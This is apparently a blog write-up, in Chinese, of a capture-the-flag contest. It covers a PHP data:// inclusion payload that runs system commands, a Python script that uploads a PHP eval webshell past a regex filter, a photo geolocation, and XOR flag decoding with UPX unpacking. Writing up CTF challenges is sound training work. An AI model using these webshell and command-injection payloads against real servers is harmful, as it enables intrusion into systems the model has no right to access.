启航杯writeup

启航杯writeup

一、web
1.Easy_include题解
  1. 打开网址得到php代码,发现存在可以通过伪协议来绕过过滤

image-20250125161835998

​ 2.构造伪协议

​ 命令会反向输出所有以fl开头的文件内容输出得到的内容。

?file=data://text/plain,<?=system('tac fl*');?>

​ 3.得到flag

image-20250125162535330

2.PCR(文件上传请求)

由if(empty($_FILES)) {
die(show_source(FILE));
}看出是上传文件。

段PHP代码的主要功能是处理文件上传,并对上传的文件进行简单的安全检查。以下是对这段代码的详细分析:

<?php
function is_php($data){
     return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}
#<\?php:匹配PHP代码的开始标记<?php。
.*?:非贪婪匹配任意字符,尽可能少地匹配。
eval:匹配字符串eval。
.*?\(.*?\):匹配eval函数的参数部分,非贪婪匹配。
\>:匹配PHP代码的结束标记>。
is:正则表达式的修饰符,i表示不区分大小写,s表示.可以匹配换行符
    

if(empty($_FILES)) {
    die(show_source(__FILE__));
}#检查是否有文件上传。如果没有文件上传,显示当前文件的源代码并终止执行

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
#:读取上传文件的临时路径,并获取文件内容。
路径处理:$user_dir变量用于存储用户文件的目录,目录名称基于客户端IP地址的MD5值,这样可以避免目录冲突。
if (is_php($data)) {
    echo "bad request";
} else {
    if (!is_dir($user_dir)) {
        mkdir($user_dir, 0755, true);
    }
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
    exit;
}#对文件内容进行安全检查,如果文件内容包含eval函数调用,则返回“bad request”。
目录创建:如果用户目录不存在,则创建该目录,权限为0755。
文件移动:将上传的文件移动到指定路径,文件名由随机整数(0-10)和.php后缀组成。
?> 1

构造python脚本

import requests

url='http://2025.qihangcup.cn:32948/'

file={'file':('1.php','<?=eval($_POST[1]:?>','image/png')}

res=requests.post(url,files=file,allow_redirects=False)#allow_redirects=False不让其重定向
print(f"路径:{url}{res.headers['Location']},木马为:1")

or自己写一个提交表单

<form
  action="http://challenge.qihangcup.cn:35056/"
  method="POST"
  enctype="multipart/form-data"
>
  <input type="file" name="file" />
  <input type="submit" value="Upload File" />
</form>

最后用蚁剑连接

二Misc题解
1.请找出拍摄地所在位置

打开图片

image-20250125163107370

可以发现有好多可确认的标识例如:

image-20250125163233914

在地图搜索有关的文字:

image-20250125163947921

最后得到

QHCTF{广西壮族自治区柳州市柳城县六广路与榕泉路交叉口}

三,逆向
checker

image-20250130210243694

发现是一个输入字符串就是flag的进去-》》check_flag

image-20250130210342804

image-20250130210422528

数据流,将数据流转换为

.data:00404020 _encrypted_flag db 'rk`weXFF'           ; DATA XREF: _check_flag+1D↑o
.data:00404028                 db  15h
.data:00404029                 db  40h ; @
.data:0040402A                 db  14h
.data:0040402B                 db  41h ; A
.data:0040402C                 db  1Ah
.data:0040402D                 db  40h ; @
.data:0040402E                 db  0Eh
.data:0040402F                 db  46h ; F
.data:00404030                 db  14h
.data:00404031                 db  45h ; E
.data:00404032                 db  16h
.data:00404033                 db  0Eh
.data:00404034                 db  17h
.data:00404035                 db  45h ; E
.data:00404036                 db  42h ; B
.data:00404037                 db  41h ; A
.data:00404038                 db  0Eh
.data:00404039                 db  1Ah
.data:0040403A                 db  41h ; A
.data:0040403B                 db  47h ; G
.data:0040403C                 db  45h ; E
.data:0040403D                 db  0Eh
.data:0040403E                 db  46h ; F
.data:0040403F                 db  42h ; B
.data:00404040                 db  13h
.data:00404041                 db  14h
.data:00404042                 db  46h ; F
.data:00404043                 db  13h
.data:00404044                 db  10h
.data:00404045                 db  17h
.data:00404046                 db  45h ; E
.data:00404047                 db  15h
.data:00404048                 db  42h ; B
.data:00404049                 db  16h
.data:0040404A                 db  5Eh ; ^

将加密数据转换为字节序列

  1. 提取每个字节的十六进制值

    • 每两个字符表示一个字节。例如,72 是一个字节,6B 是一个字节,依此类推。
    • 十六进制的 h 表示这是一个十六进制数,例如 15h 表示十六进制的 15
  2. 将十六进制值转换为字节

    • 十六进制的每个字符代表一个 4 位的二进制值。例如:
      • 0 = 0000
      • 1 = 0001
      • 2 = 0010
      • ...
      • 9 = 1001
      • A = 1010
      • B = 1011
      • ...
      • F = 1111
    • 两个十六进制字符组合成一个字节。例如:
      • 72 = 0111 0010
      • 6B = 0110 1011
      • FF = 1111 1111
  3. 将字节存储到内存中

    • 每个字节可以直接存储到内存中,或者用数组表示。

得到数据

726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E

进行异或

#bytes.fromhex() 将十六进制字符串转换为字节序列
#bytearray() 创建一个可变的字节数组,允许对每个字节进行修改
#bytearray 转换回不可变的字节序列(bytes),并打印结果

cip = bytes.fromhex("726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E")
cip = bytearray(cip)
for i in range(len(cip)):
    cip[i] ^= 0x23

print(bytes(cip))

运行结果为b'QHCTF{ee6c7b9c-e7f5-4fab-9bdf-ea07e034f6a5}'
Rainbow

给出了output.txt

image-20250131102839606

image-20250131102852564

直接进行异或

#bytes.fromhex() 将十六进制字符串转换为字节序列
#bytearray() 创建一个可变的字节数组,允许对每个字节进行修改
#bytearray 转换回不可变的字节序列(bytes),并打印结果

cip = bytearray(bytes.fromhex("0B12190E1C213B6268686C6B6A69776F3B633B776E3C3B6D773B38393C773E3F3B6E69623B6D393F6D6227"))
for i in range(len(cip)):
    cip[i] ^= 90

print(bytes(cip))

运行结果为b'QHCTF{a8226103-5a9a-4fa7-abcf-dea438a7ce78}'
note

查看发现有upx壳所有要进行脱壳

image-20250131103227504

在此文件打开cmd

image-20250131103331004

image-20250131103353167

脱壳完成

image-20250131103859909

启动gdb

image-20250131113905670

image-20250131113735358

  1. 启动程序并暂停在入口点

    gdb复制

    break _start
    run
    

    这将启动程序并暂停在 _start 函数。

  2. 设置断点: 在程序暂停后,设置断点到你感兴趣的地址。例如:

    gdb复制

    brva 0x00000000000012A8
    
  3. 继续运行程序

    gdb复制

    continue
    

    程序将继续运行,直到到达你设置的断点。

image-20250131114834973

image-20250131114859600

posted @ 2025-03-20 10:24  Godjian  阅读(17)  评论(0)    收藏  举报